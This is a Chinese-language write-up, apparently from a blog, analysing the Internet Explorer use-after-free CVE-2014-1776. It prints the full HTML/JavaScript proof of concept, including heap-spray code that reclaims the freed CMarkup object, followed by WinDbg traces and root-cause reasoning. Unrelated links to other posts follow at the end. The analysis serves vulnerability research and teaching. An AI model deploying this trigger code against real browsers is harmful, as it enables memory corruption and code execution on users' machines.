传说中的IE秘狐

[CNNVD]Microsoft Internet Explorer 释放后重用漏洞(CNNVD-201404-530)

Microsoft Internet Explorer(IE)是美国微软(Microsoft)公司开发的一款Web浏览器,是Windows操作系统附带的默认浏览器。

Microsoft IE 6至11版本的VGX.DLL文件中存在释放后重用漏洞。远程攻击者可利用该漏洞执行任意代码或造成拒绝服务(内存损坏)。

POC:

<html xmlns:v="urn:schemas-microsoft-com:vml">
<STYLE>
v\:* { Behavior: url(#default#VML) }
</STYLE>
<head id="l">
<title></title>
<script>
function trigger()
{
var r,t,e,i;
var o = document.getElementById("l");
r = document.createElement("i");
t = r;
r = document.getElementById("k").childNodes[0].appendChild(r) ;
r = t.appendChild(o) ;
e = r.offsetParent;
e.onpropertychange=fun;
i=o.firstChild.nextSibling;
try
{
i.disabled = o;
}
catch (e) {}
}
function fun()
{
var g_arr = [];
var arrLen = 0x250;
var m_block; for (var i = 0; i < arrLen; ++i)
{
g_arr[i] = document.createElement('div');
}
var a = unescape("%uAAAA%uAAAA") ;
while (a.length < 0xd8)
{
a += unescape("%uBBBB%uBBBB") ;
}
m_block = a.substring(0, (0xd8 - 2) / 2);
try
{
this.removeNode(true);
}
catch (e) {}
CollectGarbage();
for (var i = 0; i < (arrLen / 2); ++i)
{
g_arr[i].title = m_block ;
}
}
</script>
</head>
<body>
<v:group id="k" style="width:500pt;">
<div></div>
</group>
<script>
trigger() ;
</script>
</body>
</html>

经分析得出是CMarkup对象发生的UAF

这个样本的确可以成功触发漏洞,但是这个明显是一个经过设计exp。exp的行为会干扰到我们对漏洞产生原因的分析。

重利用

:> kv
ChildEBP RetAddr Args to Child
041ee998 68318a98 087abfc0 6837ce50 mshtml!CMarkup::IsConnectedToPrimaryMarkup+0x6 (FPO: [,,])
041ee9b8 68319d57 06dfbf30 041ee9dc mshtml!CMarkup::OnCssChange+0x52
041ee9c8 6860a5b3 087abfc0 6837ce64 mshtml!CElement::OnCssChange+0x1e
041ee9dc 6836bfc6 8001004c 6837ce50 mshtml!CStyleElement::OnPropertyChange+0xfc
041eeabc 682e4bd1 6837ce64 ffffffff 087abfcc mshtml!NUMPROPPARAMS::SetNumberProperty+0x2d9
041eead8 682e4ba1 0000ffff 0a82efd8 041eeb10 mshtml!CBase::put_BoolHelper+0x25
041eeae8 682e24dd 087abfc0 0000ffff 068e8fd0 mshtml!CBase::put_Bool+0x22
041eeb10 683f235c 087abfc0 068e8fd0 0a82efd8 mshtml!GS_VARIANTBOOL+0x19b
041eeb84 683fc75a 087abfc0 8001004c mshtml!CBase::ContextInvokeEx+0x5dc
041eebd4 6820c29b 087abfc0 8001004c mshtml!CElement::ContextInvokeEx+0x9d
041eec00 683a3104 087abfc0 8001004c mshtml!CStyleElement::VersionedInvokeEx+0x62
041eec54 645aa22a 06e9afd8 8001004c mshtml!PlainInvokeEx+0xeb
041eec90 645aa175 0819cd10 8001004c jscript!IDispatchExInvokeEx2+0x104
041eeccc 645aa3f6 0819cd10 0000000c jscript!IDispatchExInvokeEx+0x6a
041eed8c 645aa4a0 8001004c 0000000c jscript!InvokeDispatchEx+0x98
041eedc0 645bd8c8 0819cd10 041eedf4 0000000c jscript!VAR::InvokeByName+0x139
041eee08 645a9c0e 0819cd10 0000000c jscript!VAR::InvokeDispName+0x7d
041eef9c 645b5c9d 041eefb4 01876f88 jscript!CScriptRuntime::Run+0x208d
041ef084 645b5bfb 01878fa0 jscript!ScrFncObj::CallWithFrameOnStack+0xce
041ef0cc 645b74ac 01878fa0 jscript!ScrFncObj::Call+0x8d

释放

:> g
Breakpoint hit
eax=683720a8 ebx=06d96fe8 ecx=06fd1f30 edx=001f1078 esi=06fd1f30 edi=
eip=683e12b8 esp=0419b40c ebp=0419b414 iopl= nv up ei pl zr na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CMarkup::~CMarkup:
683e12b8 8bff mov edi,edi
:> ? esi
Evaluate expression: = 06fd1f30
:> kv
ChildEBP RetAddr Args to Child
0419b408 683e1297 06fd1f30 0419b42c 68387dd0 mshtml!CMarkup::~CMarkup (FPO: [,,])
0419b414 68387dd0 68387db6 mshtml!CMarkup::`scalar deleting destructor'+0xd
0419b41c 68387db6 00000000 06fd1f30 0419b450 mshtml!CBase::SubRelease+0x22 (FPO: [0,0,0])
0419b42c 68319de5 06fd1f30 0540b680 6831a2d4 mshtml!CBase::PrivateRelease+0x3c
0419b438 6831a2d4 0a978fd8 0a97efd8 00001400 mshtml!CMarkup::ProcessPeerTask+0x47 (FPO: [0,1,0])
0419b450 683fc6ce 08a4af30 00000000 0a978fd8 mshtml!CMarkup::ProcessPeerTasks+0xf0
0419b468 683f1e59 0a97efd8 07873260 10000003 mshtml!CElement::VersionedGetDispID+0x52
0419b4ac 68a3a304 0a978fd8 07873260 10000003 mshtml!PlainGetDispID+0xdc
0419b4dc 68a3a272 07873260 0419b518 0a978fd8 jscript!IDispatchExGetDispID+0xa5
0419b4f4 68a3a47a 06e25d10 0419b518 00000003 jscript!GetDex2DispID+0x31
0419b520 68a4d8c8 06e25d10 0419b554 0000000c jscript!VAR::InvokeByName+0xee
0419b56c 68a39c0e 06e25d10 0000000c 00000000 jscript!VAR::InvokeDispName+0x7d
0419b700 68a45c9d 0419b718 0419b85c 06e5bf88 jscript!CScriptRuntime::Run+0x208d
0419b7e8 68a45bfb 0419b85c 00000000 06e57e80 jscript!ScrFncObj::CallWithFrameOnStack+0xce
0419b830 68a45e11 0419b85c 00000000 06e57e80 jscript!ScrFncObj::Call+0x8d
0419b8ac 68a3f3ee 06e5bf88 0419baf0 00000000 jscript!CSession::Execute+0x15f
0419b994 68a3ea2e 00000000 00000001 0419ba4c jscript!NameTbl::InvokeDef+0x1b5
0419ba18 68417af1 06e5bf88 00000000 00000804 jscript!NameTbl::InvokeEx+0x12c
0419ba68 68417b91 063d2fc8 06e5bf88 00000000 mshtml!CBase::InvokeDispatchWithThis+0x1e1
0419bb94 6838a932 80010013 8001179f 0a96cfd8 mshtml!CBase::InvokeEvent+0x214

分配

    70228e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77284ea6 ntdll!RtlDebugAllocateHeap+0x00000030
77247d96 ntdll!RtlpAllocateHeap+0x000000c4
772134ca ntdll!RtlAllocateHeap+0x0000023a
6830a8da mshtml!CDoc::CreateMarkupFromInfo+0x000000e2
6831625f mshtml!CDoc::CreateMarkup+0x0000004a
6826d0b1 mshtml!CCommentElement::`scalar deleting destructor'+0x000002d3
681ec57d mshtml!CElement::removeNode+0x00000046
681ec630 mshtml!Method_IDispatchpp_oDoVARIANTBOOL+0x000000cc
683f235c mshtml!CBase::ContextInvokeEx+0x000005dc
683fc75a mshtml!CElement::ContextInvokeEx+0x0000009d
683fc79a mshtml!CInput::VersionedInvokeEx+0x0000002d
683a3104 mshtml!PlainInvokeEx+0x000000eb
67eba22a jscript!IDispatchExInvokeEx2+0x00000104
67eba175 jscript!IDispatchExInvokeEx+0x0000006a
67eba3f6 jscript!InvokeDispatchEx+0x00000098
67eba4a0 jscript!VAR::InvokeByName+0x00000139
67ecd8c8 jscript!VAR::InvokeDispName+0x0000007d
67ecd96f jscript!VAR::InvokeByDispID+0x000000ce
67ece3e7 jscript!CScriptRuntime::Run+0x00002b80
67ec5c9d jscript!ScrFncObj::CallWithFrameOnStack+0x000000ce
67ec5bfb jscript!ScrFncObj::Call+0x0000008d
67ec5e11 jscript!CSession::Execute+0x0000015f
67ebf3ee jscript!NameTbl::InvokeDef+0x000001b5
67ebea2e jscript!NameTbl::InvokeEx+0x0000012c
68417af1 mshtml!CBase::InvokeDispatchWithThis+0x000001e1
68417b91 mshtml!CBase::InvokeEvent+0x00000214
6838a932 mshtml!CBase::FireEvent+0x000000e1
683d4836 mshtml!CElement::FireEvent+0x000003c4
6840c550 mshtml!CElement::Fire_onpropertychange+0x0000005a
6840c4d7 mshtml!CElement::Fire_PropertyChangeHelper+0x00000121
6840c457 mshtml!CElement::OnPropertyChange+0x00000b7b

分析一下流程

修改POC,增加辅助语句

<html xmlns:v="urn:schemas-microsoft-com:vml">
<STYLE>
v\:* { Behavior: url(#default#VML) }
</STYLE>
<head id="l">
<title></title>
<script>
Math.tan(2,3);
function trigger()
{
var r,t,e,i;
var o = document.getElementById("l");
Math.sin(2,3);
r = document.createElement("i");
Math.cos(2,3);
t = r;
Math.tan(2,3);
r = document.getElementById("k").childNodes[0].appendChild(r) ;
Math.sin(2,3);
r = t.appendChild(o) ;
Math.cos(2,3);
e = r.offsetParent;
Math.tan(2,3);
e.onpropertychange=fun;
Math.sin(2,3);
i=o.firstChild.nextSibling;
Math.cos(2,3);
try
{
Math.tan(2,3);
i.disabled = o;
}
catch (e) {}
}
function fun()
{
var g_arr = [];
var arrLen = 0x250;
var m_block; for (var i = 0; i < arrLen; ++i)
{
g_arr[i] = document.createElement('div');
}
var a = unescape("%uAAAA%uAAAA") ;
while (a.length < 0xd8)
{
a += unescape("%uBBBB%uBBBB") ;
}
m_block = a.substring(0, (0xd8 - 2) / 2);
try
{
Math.cos(2,3);
this.removeNode(true);
}
catch (e) {}
Math.tan(2,3);
CollectGarbage();
for (var i = 0; i < (arrLen / 2); ++i)
{
g_arr[i].title = m_block ;
}
}
</script>
</head>
<body>
<v:group id="k" style="width:500pt;">
<div></div>
</group>
<script>
trigger() ;
</script>
</body>
</html> 
:> g
Breakpoint hit
eax= ebx=040ded00 ecx= edx= esi=040decf0 edi=040decf0
eip=688bd8c0 esp=040debf4 ebp=040dec30 iopl= nv up ei pl nz ac po nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!tan:
688bd8c0 ff2580108968 jmp dword ptr [jscript!_imp__tan ()] ds::={msvcrt!tan (758dde34)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd711 esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!sin:
688bd711 ff2568108968 jmp dword ptr [jscript!_imp__sin ()] ds::={msvcrt!sin (758d8aea)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd67f esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!cos:
688bd67f ff2590108968 jmp dword ptr [jscript!_imp__cos ()] ds::={msvcrt!cos (758d8ace)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd8c0 esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!tan:
688bd8c0 ff2580108968 jmp dword ptr [jscript!_imp__tan ()] ds::={msvcrt!tan (758dde34)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd711 esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!sin:
688bd711 ff2568108968 jmp dword ptr [jscript!_imp__sin ()] ds::={msvcrt!sin (758d8aea)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd67f esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!cos:
688bd67f ff2590108968 jmp dword ptr [jscript!_imp__cos ()] ds::={msvcrt!cos (758d8ace)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd8c0 esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!tan:
688bd8c0 ff2580108968 jmp dword ptr [jscript!_imp__tan ()] ds::={msvcrt!tan (758dde34)}
:> g
Breakpoint hit
eax= ebx=040ddae0 ecx= edx= esi=040ddad0 edi=040ddad0
eip=688bd67f esp=040dd9b4 ebp=040dd9f0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!cos:
688bd67f ff2590108968 jmp dword ptr [jscript!_imp__cos ()] ds::={msvcrt!cos (758d8ace)}
:> g
Breakpoint hit
eax=040dd934 ebx= ecx= edx=6837c8f9 esi= edi=
eip= esp=040dd854 ebp=040dd938 iopl= nv up ei pl zr na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CDoc::CreateMarkup:
8bff mov edi,edi
:> g
Breakpoint hit
eax= ebx=040ddae0 ecx= edx= esi=040ddad0 edi=040ddad0
eip=688bd8c0 esp=040dd9b4 ebp=040dd9f0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!tan:
688bd8c0 ff2580108968 jmp dword ptr [jscript!_imp__tan ()] ds::={msvcrt!tan (758dde34)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd711 esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!sin:
688bd711 ff2568108968 jmp dword ptr [jscript!_imp__sin ()] ds::={msvcrt!sin (758d8aea)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd67f esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!cos:
688bd67f ff2590108968 jmp dword ptr [jscript!_imp__cos ()] ds::={msvcrt!cos (758d8ace)}
:> g
Breakpoint hit
eax= ebx=040de998 ecx= edx= esi=040de988 edi=040de988
eip=688bd8c0 esp=040de874 ebp=040de8b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!tan:
688bd8c0 ff2580108968 jmp dword ptr [jscript!_imp__tan ()] ds::={msvcrt!tan (758dde34)}
:> g
Breakpoint hit
eax= ebx=040db3a0 ecx= edx= esi=040db390 edi=040db390
eip=688bd67f esp=040db274 ebp=040db2b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!cos:
688bd67f ff2590108968 jmp dword ptr [jscript!_imp__cos ()] ds::={msvcrt!cos (758d8ace)}
:> g
Breakpoint hit
eax=040db1f4 ebx= ecx=07b9ff30 edx=6837c8f9 esi= edi=
eip= esp=040db114 ebp=040db1f8 iopl= nv up ei pl nz na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CDoc::CreateMarkup:
8bff mov edi,edi
:> g
Breakpoint hit
eax= ebx=040db3a0 ecx= edx= esi=040db390 edi=040db390
eip=688bd8c0 esp=040db274 ebp=040db2b0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!tan:
688bd8c0 ff2580108968 jmp dword ptr [jscript!_imp__tan ()] ds::={msvcrt!tan (758dde34)}
:> g
(e68.): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=07caff30 ebx=07caff30 ecx=a06dfdb5 edx= esi=07caff30 edi=0824efc0
eip=68318d1d esp=040de6ec ebp=040de710 iopl= nv up ei pl zr na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CMarkup::IsConnectedToPrimaryMarkup+0x6:
68318d1d 8b465c mov eax,dword ptr [esi+5Ch] ds::07caff8c=????????

通过分析发现

 this.removeNode(true);

一句的执行导致了CDoc::CreateMarkup函数创建

CDoc::CreateMarkup其实是对CDoc::CreateMarkupFromInfo的简单封装,CDoc::CreateMarkupFromInfo方法中通过HeapAlloc函数来分配内存。

通过此种方式获取分配的内存地址,最后发现UAF对象其实是第一个CreateMarkup函数进行分配的。

:> g
Breakpoint hit
eax= ebx=042bde78 ecx= edx= esi=042bde68 edi=042bde68
eip=67edd8c0 esp=042bdd74 ebp=042bddb0 iopl= nv up ei pl nz ac pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!tan:
67edd8c0 ff258010eb67 jmp dword ptr [jscript!_imp__tan (67eb1080)] ds::67eb1080={msvcrt!tan (758dde34)}
:> bl
e 67edd8c0 () :**** jscript!tan
e 67edd67f () :**** jscript!cos
e 67edd711 () :**** jscript!sin
:> bu mshtml!CMarkup::~CMarkup
:> g
Breakpoint hit
eax= ebx=042bed30 ecx= edx= esi=042bed20 edi=042bed20
eip=67edd711 esp=042bec34 ebp=042bec70 iopl= nv up ei pl nz ac po nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!sin:
67edd711 ff256810eb67 jmp dword ptr [jscript!_imp__sin (67eb1068)] ds::67eb1068={msvcrt!sin (758d8aea)}
:> g
Breakpoint hit
eax= ebx=042bed30 ecx= edx= esi=042bed20 edi=042bed20
eip=67edd67f esp=042bec34 ebp=042bec70 iopl= nv up ei pl nz ac po nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!cos:
67edd67f ff259010eb67 jmp dword ptr [jscript!_imp__cos (67eb1090)] ds::67eb1090={msvcrt!cos (758d8ace)}
:> g
Breakpoint hit
eax= ebx=042bb738 ecx= edx= esi=042bb728 edi=042bb728
eip=67edd8c0 esp=042bb634 ebp=042bb670 iopl= nv up ei pl nz ac po nc
cs=001b ss= ds= es= fs=003b gs= efl=
jscript!tan:
67edd8c0 ff258010eb67 jmp dword ptr [jscript!_imp__tan (67eb1080)] ds::67eb1080={msvcrt!tan (758dde34)}
:> g
Breakpoint hit
eax=683720a8 ebx=0653efe8 ecx=07117f30 edx= esi=07117f30 edi=
eip=683e12b8 esp=042bb7a4 ebp=042bb7ac iopl= nv up ei pl zr na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CMarkup::~CMarkup:
683e12b8 8bff mov edi,edi
:> ? ecx
Evaluate expression: = 07117f30
:> g
(b74.e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=07117f30 ebx=07117f30 ecx=9f3dcc40 edx= esi=07117f30 edi=08392fc0
eip=68318d1d esp=042bea84 ebp=042beaa8 iopl= nv up ei pl zr na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CMarkup::IsConnectedToPrimaryMarkup+0x6:
68318d1d 8b465c mov eax,dword ptr [esi+5Ch] ds::07117f8c=????????

没有明显的js语句对应于释放和重用。

对象应该是因为引用计数耗尽而被释放的。

向上跟踪最后崩溃的位置,发现悬垂指针是处于CStyleElement+0x24的位置

根据OnCssChange函数我猜测是当css结构变动导致的引用了CStyleElement中指向已释放的CMarkup对象的悬垂指针。

CVE-2014-1776 秘狐的更多相关文章

  1. Oauth2.0协议曝漏洞 大量社交网站隐私或遭泄露

    2014年是IT业界不平常的一年,XP停服.IE长老漏洞(秘狐)等等层出不穷,现在,社交网络也爆出惊天漏洞:Oauth2.0协议漏洞 继OpenSSL漏洞后,开源安全软件再曝安全漏洞.新加坡南洋理工大 ...

  2. Bash漏洞批量检测工具与修复方案

    &amp;amp;lt;img src="http://image.3001.net/images/20140928/14118931103311.jpg!small" t ...

  3. Android安全研究经验谈

    安全研究做什么 从攻击角度举例,可以是:对某个模块进行漏洞挖掘的方法,对某个漏洞进行利用的技术,通过逆向工程破解程序.解密数据,对系统或应用进行感染.劫持等破坏安全性的攻击技术等. 而防御上则是:查杀 ...

  4. Metasploit的基本使用

    Metasploit可以在Linux.Windows和Mac OS X系统上运行.我假设你已安装了Metasploit,或者你使用的系统是Kali Linux.它有命令行接口也有GUI接口. 我使用的 ...

  5. 紧跟腾讯大王卡:B站2233卡“基友号”即将上线

    来自B站官方的消息显示,B站在近期也将推出"基友号"功能,功能的内容是通话免费,考虑到这类互联网套餐都是中国联通在运营,因此在内容上可能也会效仿腾讯大王卡实现免费通话. 目前,B站 ...

  6. 数据库SQL Service 2014中文版的安装和配置教程

    一.我的电脑环境 1.windows8.1(64位) 2.之前电脑没有安装数据库的软件 二.装机之前准备(我这儿提供百度云保存和下载) 1.下载一个“Sql service 2014中文版” http ...

  7. SQL Server 2014 Backup Encryption

    转载自: Microsoft MVP Award Program Blog 来源:Microsoft MVP Award Program Blog 的博客:https://blogs.msdn.mic ...

  8. AWS re:Invent 2014回顾

    亚马逊在2014年11月11-14日的拉斯维加斯举行了一年一度的re:Invent大会.在今年的大会上,亚马逊一股脑发布和更新了很多服务.现在就由我来带领大家了解一下这些新服务. 安全及规范相关 AW ...

  9. CVE: 2014-6271、CVE: 2014-7169 Bash Specially-crafted Environment Variables Code Injection Vulnerability Analysis

    目录 . 漏洞的起因 . 漏洞原理分析 . 漏洞的影响范围 . 漏洞的利用场景 . 漏洞的POC.测试方法 . 漏洞的修复Patch情况 . 如何避免此类漏洞继续出现 1. 漏洞的起因 为了理解这个漏 ...

随机推荐

  1. bzoj 4332 FFT型的快速幂(需要强有力的推导公式能力)

     有n个小朋友,m颗糖,你要把所有糖果分给这些小朋友. 规则第 i 个小朋友没有糖果,那么他之后的小朋友都没有糖果..如果一个小朋友分到了 xx 个糖果,那么的他的权值是 f(x) = ox^2 +  ...

  2. P4887 第十四分块(前体) 莫队

    题意: 给你一个序列,每次询问l,r问多少个a[i]^a[j]有k个1,k固定. 序列长度1e5,a[i]<=2^14 时限1s,空间40M 题解: 个人其实开始没什么思路,看了题解也好久,题解 ...

  3. 三、java面向对象编程_1

    目录 一.对象和类的概念 二.对象和引用 1.对象 2.成员变量 3.引用 三.java类的定义 四.构造函数(构造方法) 五.内存分析 一.对象和类的概念 1.对象 对象用计算机语言对应问题域中事物 ...

  4. Integer两种转int方法比较

    方法一: Integer.parseInt(); 返回的是一个 int 的值. 方法二: new Integer.valueof(); 返回的是 Integer 的对象. new Integer.va ...

  5. python中的文件操作(2)

    a+,w+,r+的特点: r+:r+模式允许读和写,当对文件句柄只进行写操作时,tell(),seek()为写操作的‘指针’(也就是写到seek()处). 当只进行读操作时,tell(),seek() ...

  6. JDBC编程扩展

    数据库的分类:关系型数据库.非关系型数据库.这跟数据库的发展相关.关系型数据库:mysql.oracle.sqlserver非关系型数据库:redis.memcathe.mogodb.hadoop1. ...

  7. VS2015调用matlab Plot函数

    最近经常采用Matlab仿真,然后C语言实现,最后需要将计算结果使用Qt的qwt或者matlab中的plot函数绘图. 因此想借用matlab的plot函数接口,使用VS2015来编写信号处理代码,最 ...

  8. Block的copy时机

    什么时候栈上的Block会复制到堆上呢? 1.调用Block的copy实例方法 2.Block作为函数返回值返回时 3.将Block赋值给附有__strong修饰符id类型的类或Block类型成员变量 ...

  9. Shell记录-Shell命令(磁盘)

    inux中df命令的功能是用来检查linux服务器的文件系统的磁盘空间占用情况.可以利用该命令来获取硬盘被占用了多少空间,目前还剩下多少空间等信息. 1.命令格式 df [选项] [文件] Shell ...

  10. 深入分析Parquet列式存储格式

    Parquet是面向分析型业务的列式存储格式,由Twitter和Cloudera合作开发,2015年5月从Apache的孵化器里毕业成为Apache顶级项目,最新的版本是1.8.0. 列式存储 列式存 ...